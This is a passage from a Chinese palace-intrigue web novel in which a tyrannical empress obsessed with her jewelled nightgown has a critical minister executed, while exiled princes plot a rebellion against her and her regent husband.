回到寝宫,林臻亲自为她褪下睡裙,极其小心地放入铺着天鹅绒的玉盒中,命人立刻传召绣娘。 他将慕容嫣拥入怀中,低声道:“今日,吓到了吗?” 慕容嫣在他怀里摇摇头,眼神清澈:“他们活该。” 林臻低笑,吻了吻她的发顶:“嗯,活该。我的嫣儿…今日,很美。”他指的是她发怒时的模样。 慕容嫣嘴角弯起,露出一个极浅却真实的笑意:“夫君喜欢就好。” ?金殿墨凤怒焚天,血语镇臣胆俱寒。华服虽损威更盛,乾坤独揽君心欢。? 距离上次御史死谏风波已过旬日,朝堂似乎恢复了往日的秩序。 然而,那日女帝慕容嫣近乎疯狂的暴怒与威慑,如同冰冷的烙印,深深刻在每个朝臣的心头,令他们对凤椅上那抹墨金色的华影敬畏到了骨子里。 今日大朝会,九凤之内,烛火通明,百官肃立,气氛却比往日更加凝滞,隐隐透着不安。 凤椅之上,慕容嫣身着的,依旧是那身华丽厚重、不容置疑的黑金色百鸟朝凤睡裙。 经过宫廷绣坊日夜赶工,以更珍贵的金线宝石修补完善,甚至绣工更胜往昔。?极致玄黑的底色在殿内璀璨灯火的映照下,呈现出一种吞噬一切光线的沉静威压,内蕴的幽蓝暗紫微光流转,神秘而高贵,令人不敢直视。 ?睡裙之上,那只擎天巨凤的羽翼金绣仿佛汲取了上次的怒火,愈发栩栩如生,赤金如熔岩沸腾,玫金如血霞浸染,银白如寒冰裂地,紫金如雷霆暗蕴,凤眸宝石折射出洞穿人心的冰冷锐光,华美尊贵到了极致,也危险到了极致! ?宽大喇叭袖铺陈在凤椅扶手,袖口黑珍珠与乌金流苏纹丝不动。而那长达三丈、缀满珍宝的拖尾,依旧毫无顾忌地、沉重地直接拖曳在凤椅之下,铺满了九级玉阶。 迤逦于光洁如镜的金砖地面之上,其上宝石疯狂折射着烛火,形成一片流动的、令人眩晕的璀璨光河,奢华、威严,且带着不容置喙的压迫感! 她容颜绝世,神情却带着一种百无聊赖的慵懒,长睫低垂,指尖轻轻缠绕着喇叭袖边缘的一缕金线流苏,仿佛对朝堂政务毫无兴趣,只沉浸在自己华服的世界里。 林臻依旧立于丹陛之下,百官之首,面色沉静如水,今日却仿佛打定主意缄默不语,只静静守护。 朝会在一片压抑的寂静中进行着,各部禀报事宜,林臻偶尔以眼神或极简手势示意,决策效率惊人,却无一人敢将目光过多停留于凤椅之上。 然而,总有不信邪、或被暗中力量推波助澜之人。 就在朝会过半,一名身着二品紫袍的户部侍郎,手持玉笏,深吸一口气,猛地出列跪倒,声音洪亮却难掩颤抖: “臣!户部侍郎周谨,冒死谏言!恳请陛下,垂听圣训!” 凤椅上的慕容嫣,连眼皮都未曾抬一下,依旧把玩着袖口流苏。 林臻目光微冷,扫了那侍郎一眼,并未出声。 周谨见无人呵斥,仿佛得了鼓励,声音拔高,指向那迤逦于地的墨金色拖尾,痛心疾首道: “陛下!前日北地旱灾,国库耗资巨万以赈济、兴水利,百姓虽得喘息,然国库空虚,民生维艰!臣近日清点库银,夜不能寐!恰闻…恰闻宫中为陛下修补此…此睡裙,竟耗金三千两,珠玉宝石无算!其价足以再建百里水渠,活民数万!” 他叩首在地,声音悲愤: “陛下!此裙虽华,然于治国何益?于民生何补?如此奢靡,岂是明君所为?陛下若垂怜百姓,恳请…恳请陛下,暂弃华服,以俭朴示天下,将靡费用以安民,则天下幸甚!万民幸甚!臣恳请陛下,三思啊!” 此言一出,满殿死寂!所有大臣头皮发麻,冷汗瞬间湿透重衣! 这周谨,竟将花费具体数额都报了出来!这已不是劝谏,几乎是赤裸裸的指控了! 林臻眼中寒光暴涨,袖中双拳紧握,但他瞥了一眼凤椅上依旧慵懒的慕容嫣,强压下开口的冲动,选择了沉默。 殿内静得可怕,只剩下烛火噼啪声和周谨粗重的喘息声。 许久。 “呵。” 一声极轻、却仿佛带着冰碴的冷笑,自凤椅之上传来。 慕容嫣终于缓缓抬起了眼睫,露出一双冰冷、空洞,却仿佛蕴含着无尽血海风暴的凤眸! 她脸上那慵懒的神情瞬间褪去,化为一种极致的、令人毛骨悚然的平静,红唇边勾起一抹残忍而妖异的弧度。 她宽大喇叭袖下的手,轻轻抬起,并非指向那侍郎,而是极其缓慢、极其轻柔地抚过自己睡裙上那只巨凤的玫金色羽翼,动作带着一种令人窒息的珍爱与偏执。 “周谨…”她的声音清冷如玉器相击,在大殿中回荡,每一个字都仿佛能冻结灵魂,“户部侍郎…正二品…年俸,粳米一百五十石,银二百两,绢五十匹…对吧?” 周谨浑身一颤,伏地不敢抬头:“…是…” 慕容嫣缓缓站起身,?长达三丈的拖尾随之沉重地拖曳过玉阶,发出令人心悸的摩擦声。 她一步步走下凤椅,走向周谨,?华贵的拖尾在身后迤逦铺开,宝石刮擦着金砖地面,声音刺耳。 所有大臣吓得魂飞魄散,连连后退,恨不得缩进墙里。 林臻站在原地,目光紧紧跟随她,眼神复杂无比。 第888章 三千六百刀,一刀不许少 慕容嫣走到周谨面前,?睡裙的玄黑与巨凤的华彩几乎将周谨笼罩。她微微俯身,?宽大喇叭袖垂落,几乎触及地面,声音轻柔得如同毒蛇吐信: “你说…朕的衣裳…奢靡?耗金三千?珠玉无算?” 周谨抖如筛糠:“臣…臣是为国…” “为国?”慕容嫣打断他,声音陡然变得尖利,“好一个为国为民的忠臣!” 她猛地直起身,?喇叭袖一甩,带起一阵冷风,目光如淬毒的冰刃,扫过全场:“你们是不是都觉得朕穿着这身衣裳,是罪过?嗯?” 无人敢应答,死寂一片。 “是不是觉得朕脱下这身衣裳,省下那些金子珠子,就能救你们的国,安你们的民了?嗯?!”她的声音越来越高,带着一种疯狂的讥讽。 她忽然仰天大笑,笑声尖锐刺耳,回荡在金殿之中,令人不寒而栗! 笑罢,她猛地低头,死死盯住周谨,眼神疯狂而暴戾:“好!朕今日就让你看看!朕的衣裳,到底值不值那些金子珠子!” 她喇叭袖下的手猛地一抬! “来人!” 殿外早已候命的金甲凤翎卫应声而入,甲胄铿锵! “剥了他的官服!”慕容嫣声音冰冷,不带一丝感情。 “陛下!?”周谨惊恐抬头。 凤翎卫毫不犹豫,上前粗暴地撕扯周谨的紫色官袍! “不!陛下!臣无罪!臣是为国谏言啊!”周谨挣扎哭喊。 慕容嫣面无表情地看着。 很快,周谨被剥得只剩白色中衣,狼狈不堪地瘫在地上,瑟瑟发抖。 百官骇得面无人色,有几个老臣几乎要晕厥过去。 慕容嫣却看也不看周谨,她的目光转向殿外,声音平稳却令人胆寒:“传朕旨意:将户部侍郎周谨,家产悉数抄没!清点其家资,看看这位‘忠臣’的府库,比朕的衣裳,如何?!” “是!”殿外官员领命飞奔而去。 周谨如遭雷击,瞬间瘫软在地,面如死灰。 慕容嫣不再看他,缓缓踱步,?华贵拖尾碾过光洁的地面,声音在死寂的大殿中异常清晰:“你们不是好奇朕的衣裳花了多少吗?朕告诉你们!” 她猛地转身,?喇叭袖展开,如同凤翼:“金线,用的是南海鲛人泪染的金丝,一寸一金!” “墨玉,取自昆仑冰髓深处,万斤矿石方得一玉!” “黑钻,乃天外陨星之核,世间罕有!” “其上每一针每一线,皆由绣娘以心血绣成,她们的眼,因此而盲了三人!” 她的声音带着一种近乎癫狂的骄傲与偏执:“朕的衣裳,是无价之宝!朕穿着它,不是因为朕奢靡!而是因为它配得上朕!只有它才配得上朕!” 她走到瘫软的周谨面前,俯视着他,眼神冰冷:“而你…还有你们…” 她目光扫过百官, “你们这群蛀虫!贪墨国库,中饱私囊,结党营私,欺上瞒下!旱灾之时,你们在哪里?朕与摄政王在北地吃土喝风的时候,你们的奏章在哪里?如今灾情稍缓,你们倒跳出来,拿着几两金子的账目,来指责朕的衣裳?!” 她猛地一脚踢在周谨身上,虽力道不重,却侮辱性极强:“你的良心!你的忠君爱国!值几斤几两?!够不够朕这衣裳上…一颗最小的珠子?!” 周谨蜷缩在地,涕泪横流,一个字也说不出。 此时,殿外官员疾步返回,跪地禀报:“启禀陛下!抄没周谨家产,初步清点,现银已超十万两!田产地契、古玩珍宝无算!其家宅奢华,远超规制!” “哗——”殿内一片哗然! 十万两!远超一个侍郎百年俸禄! 慕容嫣脸上露出一抹残酷的冷笑,她看向周谨,声音轻柔如地狱寒风:“哦?十万两?看来周侍郎…很会‘为国’省钱嘛…” 她缓缓直起身,?喇叭袖下的手轻轻一挥:“拖下去。剐了。三千六百刀,一刀不许少。用他的血…给朕的衣裳…添点颜色。” “陛下饶命!陛下饶命啊!!!”周谨发出杀猪般的惨嚎,被凤翎卫无情拖走,惨叫声渐行渐远,最终消失。 金殿之内,血腥味仿佛已然弥漫。所有大臣跪伏在地,抖如秋风落叶,许多人胯下已湿,腥臊一片。 慕容嫣却仿佛只是拍死了一只苍蝇。 她缓缓走回凤椅,?依旧迤逦于地,沾染了周谨挣扎时蹭上的灰尘。 她坐回凤椅,慵懒地靠回去,仿佛刚才的冷酷杀戮从未发生。 她抬起手,看着喇叭袖上精致繁复的刺绣,轻声自语,声音却足以让殿内每个人听清:“还有谁…觉得朕的衣裳…奢靡?碍眼?嗯?” 无人敢应答。死寂。只有压抑的哭泣与牙齿打颤的声音。 “看来是没了。”慕容嫣满意地点点头,语气轻松起来,“那便继续议事吧。” 她目光扫向瘫软在地的户部尚书:“张尚书。” 户部尚书连滚带爬地出列:“臣…臣在…” “国库空虚?”慕容嫣把玩着袖口珍珠, “很好。朕给你指条明路。三日之内,将今日殿上所有官员的家产清单,给朕列出来。朕倒要看看,是我这件衣裳耗的金子多,还是你们这群‘忠臣’…吞的金子多。” 此言一出,所有官员如坠冰窟!这是要彻查、要清算! “陛下开恩!陛下开恩啊!”哭求声此起彼伏。 慕容嫣却笑了,笑容妖异而美丽:“怕什么?清者自清。若你们真如周谨那般‘清廉’,朕…自然有赏。” 她喇叭袖轻轻一拂:“退朝。” 百官如蒙大赦,又如同丧家之犬,连滚带爬、失魂落魄地逃离了这血腥而恐怖的金凤殿。 殿内,只剩慕容嫣与一直沉默的林臻。 慕容嫣脸上的冷酷与疯狂迅速褪去,染上一丝疲惫与依赖,她看向林臻,伸出喇叭袖下的手,声音软糯委屈:“夫君…朕累了…裙子也脏了…” 林臻快步上前,单膝跪在她面前,小心翼翼地捧起她那沾染了灰尘的拖尾,眼中满是心疼与复杂的情感,柔声道:“无妨,无妨…嫣儿今日…受委屈了。回宫便沐浴更衣,朕命人用最香的香露为你洗涤。” 他打横将她抱起,那华贵却染尘的拖尾垂落而下。他抱着她,一步步走出金殿。 阳光照射进来,却驱不散殿内那浓重的血腥与恐惧。 回到寝宫,慕容嫣沐浴后,换上了一套款式相近、崭新无比的墨金睡裙,?拖尾迤逦,华光璀璨,仿佛方才的一切从未发生。 林臻拥着她,低声道:“嫣儿,今日…是否太过…” 慕容嫣靠在他怀里,把玩着他的衣襟,眼神清澈却固执:“他们说我衣裳不好…就该死。” 林臻沉默片刻,终是轻叹一声,将她拥紧:“嗯,该死。我的嫣儿…想如何便如何。” ?金殿凤怒血染裳,酷烈君威镇朝堂。华服岂容凡俗议,顺朕者昌逆者亡。? 第889章 李代桃僵 距户部侍郎周谨被剐杀、百官家产被清查已过去月余。 金殿之上的血腥气似乎已然散去,但朝堂之下,暗流汹涌,恐慌与怨恨如同毒藤般在臣子们心中疯狂滋长。 慕容嫣的铁腕与酷烈,尤其是她对那身华服近乎病态的偏执与维护,已让许多人心生寒意,离心离德。 然而,深宫之内,慕容嫣对此似乎毫无察觉,或者说,毫不在意。 时值午后,窗外秋雨绵绵,敲打着琉璃瓦,发出细碎而沉闷的声响。 寝宫之内却温暖如春,地龙烧得极暖,角落的鎏金凤首香炉吐出袅袅的暖甜香息,与窗外萧瑟的秋意形成鲜明对比。 慕容嫣并未午憩,也未处理政务——她从不处理。 她慵懒地斜倚在窗边一张铺着厚实墨狐皮的贵妃榻上,身下垫着数个苏绣引枕。 身上所穿,并非往日那极致璀璨的云锦睡裙,而是一件新制的、以罕见“墨金棉”为底料的黑金色百鸟朝凤睡裙。 这墨金棉乃南海贡品,产量极其稀少,其色并非染就,而是棉芯天然生成玄黑底色,其间均匀分布着极细的金色棉绒,在光线下会自然折射出幽暗的金芒,质地却异常柔软、亲肤、透气,远比云锦更适合贴身穿着,且更显一种内敛的奢华与舒适。 ?睡裙的款式依旧极致华丽,?其上以真正的赤金抽成的细如发丝的金线,混合了孔雀羽线与七彩丝线,采用绝世“盘金棉蹙绒”绣法,绣着一只巨大无比、铺满整个袍身乃至拖尾的擎天巨凤!?? 这棉质睡裙上的巨凤图案,因底料的柔软与金线的细腻,呈现出一种不同于以往的光泽——华彩依旧夺目,赤金流火,玫金熔霞,银白泻地,紫金贵气,凤眸以细小的黑欧泊与深紫晶镶嵌,锐利不减,却因棉质的柔和,更添几分慵懒的魅惑与居家的威仪。? 宽大无比的喇叭袖袖口并未缀以沉重珍珠,而是以更轻软的墨金棉本身层层叠叠缝制出凤羽形状,边缘滚以细密的金线流苏,华丽依旧,却更显飘逸。 而那长达五丈、与睡裙连为一体、毫无接缝的巨型拖尾,更是以墨金棉为底,其上金线刺绣与宝石镶嵌的密度与奢华程度,却丝毫未减! 此刻,这沉重无比的五丈拖尾并未铺展,而是被她随意地拢起,层叠堆放在榻内侧一张特制的、铺着玄色天鹅绒的宽阔矮榻上,如同一条暂时收敛了所有锋芒的、温顺的墨金色河流,其上宝石在室内柔和的光线下闪烁着低调而奢华的微光。 ?棉质的柔软使得这超长的拖尾在堆叠时更显蓬松,却也因其长度与重量,占据了极大的空间。 她如云青丝并未绾起,披散在肩头,流淌在棉质睡裙的巨凤图案与墨狐皮草之上。 她赤着足,一双玉足从层叠的墨色棉袍下探出。 手中把玩着一支通透的墨玉长簪,目光却并未聚焦,而是落在窗外被雨打湿的芭蕉叶上,眼神带着惯有的慵懒与一丝不易察觉的空茫。 仿佛外间的风起云涌,臣工的惊惧怨恨,都与她无关。她只关心身下是否柔软,?睡裙是否舒适,香炉的气味是否合意。 殿内角落,侍立着几名垂首屏息的宫女,如同泥雕木塑。 殿外,秋雨声中,隐约传来极轻微的、被刻意压低的脚步声与交谈声,但很快又远去。那是林臻在与心腹臣子密议。 近日,他异常忙碌,神色间常带着一丝不易察觉的凝重,但在面对慕容嫣时,却依旧温柔纵容,无微不至。 慕容嫣似乎听到了些许动静,长睫微颤,却并未回头,只是喇叭袖下的手无意识地蜷缩了一下,将柔软的棉质面料攥出了一点褶皱。 又过了片刻,殿门被轻轻推开,林臻走了进来。 他穿着一身略显疲惫的常服,发梢沾染了些许雨汽。他挥手屏退了宫女,殿内只剩他们二人。 他走到榻边,极其自然地坐下,伸手为她理了理颊边的一缕发丝,指尖温暖:“嫣儿醒了?可要再用些点心?” 慕容嫣缓缓转过头,目光落在他微湿的肩头,眉头几不可察地微微一蹙:“淋雨了?” 她的声音带着一丝刚醒的软糯,却也有着不容置疑的关切。 林臻笑了笑,不在意道:“无妨,些许小雨。” 他目光落在她身上那件新的棉质睡裙上,眼中泛起欣赏与温柔, “这墨金棉…穿着可还舒适?比云锦轻软些,也更暖些。” 慕容嫣低头看了看自己身上的睡裙,?宽大喇叭袖下的手轻轻拂过上面巨凤的羽翼刺绣,感受着棉质底料的柔软触感与金线的细微凹凸,点了点头:“嗯。喜欢。” “喜欢便好。”林臻低笑,俯身吻了吻她的额头,“我的嫣儿,自然什么都要最好的。” 慕容嫣靠向他,将脸埋进他肩窝,嗅着他身上淡淡的雨汽与龙涎香气,小声嘟囔:“外面…吵。” 林臻身体几不可察地微微一僵,随即放松下来,轻拍她的背:“无事,一些琐事罢了。秋雨扰人,嫣儿不喜,我便让他们再安静些。” 慕容嫣却抬起头,看着他,眼神清澈却锐利,仿佛能洞穿一切:“他们…在说朕的坏话,对不对?” 林臻心中一震,面上却不动声色,笑道:“谁敢说嫣儿的坏话?莫要胡思乱想。” 慕容嫣盯着他看了片刻,忽然伸出喇叭袖下的手,指尖轻轻点在他的心口:“这里…跳得快了。夫君在骗朕。” 林臻:“……” 慕容嫣收回手,重新慵懒地靠回软枕,目光再次投向窗外,语气平淡却带着一丝冰冷的了然:“朕知道。他们恨朕。恨朕杀了周谨,恨朕查了他们的家底,恨朕…穿了这身衣裳。” 她轻轻抚摸着睡裙上冰凉的宝石凤眸,声音愈发轻柔,却带着令人胆寒的意味:“他们是不是…还想让朕…把这衣裳脱下来?” 林臻心中一紧,急忙握住她的手:“嫣儿!莫要听外人胡言!这衣裳是你的,谁也无权置喙!你喜欢,便一直穿着!” 慕容嫣却笑了,笑容妖异而美丽,她反手握住林臻的手,?柔软的棉质喇叭袖拂过他的手背:“夫君放心…朕不会脱的。朕不仅不脱…” 她缓缓坐直身子,?棉质睡裙随着她的动作发出细微的摩挲声,那五丈长的拖尾也微微滑动。她看着林臻,眼神疯狂而偏执: “朕还要穿着它…去上朝。朕要让他们天天看着!日日看着!看他们恨之入骨,却又无可奈何的样子!想想…就很有趣呢,夫君觉得呢?” 林臻看着眼前之人,心中涌起一股复杂的情绪,既有无尽的宠溺与纵容,也有一丝难以言喻的忧虑。 他最终只是将她拥入怀中,低声道:“好,嫣儿想如何,便如何。” 慕容嫣满意地靠在他怀里,把玩着他衣襟上的盘扣,仿佛刚才那番可怕的话语只是情人间的玩笑。 然而,她忽然又抬起头,眼神锐利如刀:“对了,夫君,朕前日梦到…朕那两位好皇叔了…” 林臻身体猛地一僵! 慕容嫣仿佛没有察觉,继续用天真又残忍的语气说道:“梦到他们…在阴曹地府,被拔了舌头,穿了琵琶骨,还在那骂朕呢…说朕奢靡无道,是亡国之君…真好笑,是不是?” 林臻强压下心中的惊涛骇浪,勉强笑道:“梦而已,当不得真。他们早已伏诛,魂飞魄散了。” “是吗?”慕容嫣歪着头,?喇叭袖掩住半张脸,只露出一双仿佛能看透人心的眼睛,“可朕怎么觉得…他们的味道…还在呢?好像…就在这宫墙之外…某个角落里…散发着…腐臭的阴谋气味…” 她的声音轻柔如羽,却让林臻后背瞬间沁出一层冷汗! 她知道了?还是只是直觉?她到底知道了多少?! 慕容嫣看着他微微变化的脸色,忽然咯咯笑了起来,笑声清脆却冰冷:“瞧把夫君吓的…朕开玩笑的。” 她伸出棉质喇叭袖下的手,轻轻抚平他微蹙的眉头:“有夫君在,什么皇叔,什么逆臣,不过都是土鸡瓦狗…对吧?” 林臻紧紧握住她的手,力道大得几乎捏疼她,眼神却无比坚定:“对!有我在,无人能伤嫣儿分毫!无人能…动嫣儿的衣裳!” “嗯。”慕容嫣满意地靠回他怀里,闭上眼,仿佛又恢复了那慵懒无害的模样,“朕困了…” “睡吧。”林臻低声哄着,心中却已翻江倒海。 他轻轻将她放平,细心地为她盖好丝被,连那堆叠的五丈棉质拖尾也仔细盖好。他坐在榻边,凝视着她恬静的睡颜许久,眼神复杂难辨。 最终,他俯身,在她光洁的额头上印下一个沉重的吻,悄无声息地起身离去。他必须立刻去处理一些事情,一些绝不能让寝殿中这只穿着棉质睡裙的凤凰察觉到的事情。 殿门轻轻合上。 本该睡着的慕容嫣,却缓缓睁开了眼睛。那双凤眸之中,没有丝毫睡意,只有一片冰冷彻骨的、洞悉一切的清明与…一丝兴奋的、等待猎物入网的残忍光芒。 她轻轻抚摸着身上柔软温暖的墨金棉睡裙,?巨凤的刺绣在指尖下仿佛有了生命。 “游戏…要开始了呢…”她轻声自语,嘴角勾起一抹极致妖异、极致暴虐的弧度。 第890章 奏事就奏事,腿抖什么? 秋意渐深,宫墙内的枫叶染上了一层凄艳的血红。 自金殿剐杀周谨、震慑百官已过去两月有余。 表面看来,朝堂噤若寒蝉,政务在林臻的主持下高效运转,北地水利渐成,民生稍复,一派河清海晏的假象。 然而,在这平静的表象之下,一股冰冷的暗流正以前所未有的速度汇聚、涌动。 两位本应在西山叛乱中“伏诛”的亲王——靖北王慕容弘与安平王慕容璋,并未死去。 当日林臻下令擒拿,炮火轰鸣中,心腹死士以李代桃僵之计,用两名身形相似的死囚换下了他们。 二人身受重伤,被秘密转移至京畿一处极其隐秘的别庄养伤。 如今伤势渐愈,复仇的毒火与对权力的渴望,在他们心中疯狂燃烧。 他们通过极其隐秘的渠道,开始小心翼翼地接触朝中那些对慕容嫣的残暴、尤其是对她那身奢华睡裙所象征的“昏聩奢靡”与林臻的“独断专行”深感不满、且自身利益在清查家产中受损的官员。 密室之中,烛火摇曳。慕容弘肩胛的伤处仍隐隐作痛,面容因仇恨而扭曲: “妖女!贱人!身着那般妖异服饰,行事如同疯魔!视我等宗亲如草芥,杀朝廷重臣如屠狗!此等暴君,岂配居九五之位?!” 慕容璋面色阴鸷,指尖敲打着桌面,声音低沉而危险:“不止如此。林臻那奸贼,架空皇室,推行新政,重用寒门,打压我等旧勋。如今更纵容那妖女如此胡作非为!长此以往,国将不国!我等身为慕容氏子孙,岂能坐视江山倾覆?” 他们罗列慕容嫣的“罪状”:奢靡无度(尤指那身睡裙)、残暴嗜杀、不理朝政、纵容林臻…字字句句,皆能激起部分朝臣的共鸣。 最初的接触是试探性的,充满猜忌与恐惧。 但慕容嫣持续的高压与林臻的铁腕,使得越来越多的官员在恐惧与怨恨的驱使下,开始动摇,继而秘密投向两位亲王麾下。 一条条隐秘的信息通过心腹仆人、伪装成商队的信使、甚至深埋地下的铜管暗道,在漆黑的夜晚悄然传递。 兵力、粮草、器械、京城布防图、宫中内应…反叛的要素,正在黑暗中一点点悄然汇聚。 深宫之内,慕容嫣似乎依旧沉浸在她的华服世界之中。 夜色深沉,寝宫地龙烧得极暖,宫灯柔和。 慕容嫣并未安寝,她身穿着那件舒适华贵的黑金棉质百鸟朝凤睡裙,慵懒地倚靠在铺着白虎皮的软榻上。? 墨金棉的底料在灯光下泛着柔和而神秘的光泽,天然的金色棉绒与玄黑底色交织,呈现出一种内敛的奢华。 ?睡裙之上,那只以赤金、孔雀羽线、七彩丝线绣成的擎天巨凤盘踞其身,凤眸以黑欧泊与紫晶镶嵌,在暖光下闪烁着洞察一切的冰冷光芒。 ?宽大柔软的喇叭袖铺散在榻上,袖口金线流苏纹丝不动。 而那长达五丈、与睡裙连为一体的棉质拖尾,则被她随意地拢起,层叠堆放在榻旁的特制矮榻上,如同一只收敛了羽翼暂歇的墨金色凤凰,华美且舒适。 她手中并未拿着书卷,而是拿着一柄以温玉为杆、金丝为线的精致小梭,正有一下没一下地在睡裙拖尾边缘一处极细微的、几乎看不见的勾丝处,进行着修补。 她的动作极其专注、轻柔,眼神平静,仿佛这是天下最重要的事情。 林臻坐在不远处的一张书案后,面前摊开着几份奏折,但他的目光却不时地投向慕容嫣,眼神深处藏着一丝难以化开的凝重与忧虑。 近来的暗流,他并非毫无察觉,蛛丝马迹显示,有股力量正在暗中集结,目标直指嫣儿。 他加强了宫禁与京畿防务,派出了更多暗探,但对手极其狡猾,踪迹难寻。 他张了张嘴,想对她说些什么,提醒她近日莫要离开宫禁,但看到她那般专注地摆弄睡裙的模样,想到她可能出现的、对“束缚”的反感与激烈反应,又将话语咽了回去。他不能让她害怕,更不能让她觉得不自由。 就在这时,慕容嫣忽然停下了手中的动作,抬起头,鼻翼微不可察地轻轻翕动了一下,仿佛在空气中嗅到了什么。 她那双平静的凤眸中,闪过一丝极淡的、冰冷的锐光。 “夫君,”她忽然开口,声音软糯,却让林臻心中猛地一紧,“朕闻到了…老鼠的味道。” 林臻一怔:“老鼠?宫中每日都以香薰驱虫,怎会有老鼠?嫣儿怕是闻错了。” 他试图安抚。 慕容嫣却缓缓放下玉梭,?喇叭袖下的手轻轻抚过睡裙上巨凤的羽翼,眼神飘忽地望向窗外漆黑的夜空:“不是地下的老鼠…是藏在阴暗角落里,偷偷磨牙,想着怎么咬坏朕衣裳…的老鼠。” 林臻背脊瞬间窜起一股寒意! 她…她知道了?! 他强作镇定,起身走到她身边坐下,握住她微凉的手:“嫣儿莫要胡思乱想,有我在,什么老鼠也不敢近身。” 慕容嫣转过头,看着他,眼神清澈得可怕,嘴角却勾起一抹天真又残忍的笑意:“夫君,你说…要是把那些老鼠的牙都拔了,爪子都剁了,尾巴都剪了…然后扔进染缸里,把它们一身灰毛都染成…嗯,染成朕这裙子的颜色,好不好看?” 林臻看着她眼中那毫不掩饰的、对于血腥惩罚的兴奋与期待,心中巨震,只能更紧地握住她的手:“…嫣儿喜欢,便好。” 慕容嫣似乎满意了,靠回他怀里,把玩着他衣襟上的盘扣,喃喃道:“朕的衣裳这么好看…它们也配染一样的颜色?还是都碾死算了…” 林臻拥着她,感受着她棉质睡裙的柔软与温暖,心却如同坠入冰窖。 他知道,她并非全然懵懂无知,她那异于常人的直觉,或许早已捕捉到了危险的信号,并以她独特的方式表达了出来。 次日,大朝会。 慕容嫣果然如她所言,?身着那件墨金棉质的睡裙,外罩一件同色系的金线凤凰纹斗篷,出现在了金殿之上! 此举再次引起了朝臣们内心的巨大震动与恐惧! 虽然无人敢直视,更无人敢置喙,但那棉质睡裙的柔软光泽、巨凤的华彩、五丈拖尾迤逦于地的惊人景象,以及其上身朝堂的荒谬与挑衅,无不像一把冰冷的锉刀,磋磨着每个人紧绷的神经。 她慵懒地坐在龙椅上,?宽大喇叭袖掩着唇,似在打哈欠,目光漫不经心地扫过丹陛之下垂首肃立的百官,眼神深处却藏着一丝猫捉老鼠般的戏谑与冰冷。 朝会进行中,几位官员出列奏事,内容关乎秋赋、漕运、边关粮草,看似寻常。 然而,他们的奏对节奏、眼神的细微闪烁、甚至站立的位置,落在慕容嫣眼中,却仿佛组成了一种隐秘的、不和谐的韵律。 当她听到户部一名郎中奏报一批军械“依例”转运至京西某处皇家围场“维护保养”时,她的目光骤然锐利了一瞬。 那郎中的声音几不可察地顿了一下,额角渗出细汗。 慕容嫣忽然轻笑一声,声音不大,却瞬间让整个金殿鸦雀无声。 所有人都惊恐地抬头望来。 只见女帝陛下慵懒地调整了一下坐姿,让那五丈棉质拖尾更舒适地铺展在玉阶上,?喇叭袖下的手轻轻抬起,指向那名郎中,声音带着一丝慵懒的玩味: “你…刚才说话的时候,眼睛为什么一直往左边看?左边…有什么好看的东西吗?比朕的衣裳…还好看?” 那郎中吓得扑通一声跪倒在地,浑身颤抖:“臣…臣没有…陛下恕罪!” 慕容嫣却不理他,目光又慢悠悠地扫过另外几名刚才奏事的官员,嘴角噙着那抹令人胆寒的笑意:“你们几个也是…奏事就奏事,腿抖什么?是朕的金殿地面太凉了?还是…” 她拖尾轻轻拂动了一下,声音陡然转冷:“心里有鬼?” 几名官员面如土色,跪倒一片,连呼“臣等不敢!” 林臻立于丹陛之下,面色沉静,心中却已掀起惊涛骇浪。 嫣儿她…竟能以这种方式,精准地戳破那些心怀鬼胎之人的伪装! 慕容嫣欣赏着他们恐惧的模样,仿佛在看一出有趣的戏剧。她喇叭袖一摆,仿佛驱赶苍蝇般:“滚下去。朕看着心烦。” “是!是!谢陛下!”几人如蒙大赦,连滚爬爬地退下。 朝会在一片极度压抑的气氛中结束。 百官退去后,慕容嫣却并未立刻起身。她依旧坐在龙椅上,?手指无意识地缠绕着睡裙拖尾上的一缕金线,目光望着空荡荡的大殿,眼神空洞而冰冷,轻声自语,声音却足以让身旁的林臻听清: “老鼠…越来越多了呢…” 她忽然抬起头,看向林臻,露出一个灿烂却毫无温度的笑容:“夫君,看来…得准备一个…大一点的捕鼠夹了。” 林臻心中凛然,他知道,嫣儿并非在开玩笑。 她已嗅到了逆谋的气息,并且…跃跃欲试。 她享受着这种狩猎前的兴奋。 回到寝宫,慕容嫣命人取来大量的金线、珍珠与各色宝石。 她屏退左右,只留林臻在旁,然后坐在那巨大的五丈棉质拖尾旁,开始亲手将那些珠宝,以一种看似随意却极具象征意义的方式,一颗颗地、更加密集地绣到拖尾之上! 她神情专注,甚至带着一种虔诚的疯狂,仿佛不是在装饰一件衣裳,而是在铸造一件武器,一件祭品,一件用来迎接并碾压所有叛逆的华贵战甲! “让它们…”她低声喃喃,指尖被金针刺破,沁出血珠也毫不在意,“…在朕的衣裳面前…自惭形秽…然后…被碾碎…” 林臻沉默地看着,心中充满了无尽的担忧与一种近乎战栗的敬畏。 他的嫣儿,这只身着棉质睡裙的凤凰,早已张开了华美的羽翼,冰冷的眼眸已锁定了黑暗中的猎物,只待那雷霆一击的时刻。 第891章 胆子变大了?敢靠得这么近了 寒冬将至,北风呼啸着掠过皇城的朱红宫墙,发出呜咽般的声响。 金殿内的地龙烧得愈发旺盛,暖融如春,却驱不散弥漫在朝堂之上那日益浓重的、冰冷彻骨的紧张气氛。表面的平静之下,叛乱的火种已在阴暗处悄然点燃,并以惊人的速度蔓延。 靖北王慕容弘与安平王慕容璋,伤势已近痊愈。 在极度隐秘的别庄深处,他们的目光如同淬毒的匕首,透过窗棂,死死盯着皇宫的方向。 通过心腹死士构建的、错综复杂如蛛网般的地下网络,他们已成功串联了相当一部分对慕容嫣统治深感恐惧与怨恨的朝臣。 这些官员,或因清查家产而利益受损,或因同僚被酷烈处死而兔死狐悲,或因推行新政而权力被削,或因慕容嫣那身奢华睡裙与不理朝政的做派而视其为昏君…… 种种怨怼,在两位亲王“拨乱反正、清君侧、复慕容”的旗号下,迅速凝聚成一股危险的暗流。 密室内,烛火摇曳,映照着慕容弘狰狞的面容:“时机将至!各地边军旧部已暗中响应,京畿巡防营亦有我们的人!只待一个契机,便可里应外合,攻入皇城,擒杀妖女与林臻奸贼!” 慕容璋则更为谨慎,指尖划过一份名单,声音低沉:“这些朝臣,虽已表态,但大多首鼠两端,被那妖女的狠辣吓破了胆。还需再添一把火,逼他们下定决心,再无退路。” “如何添火?”慕容弘急问。 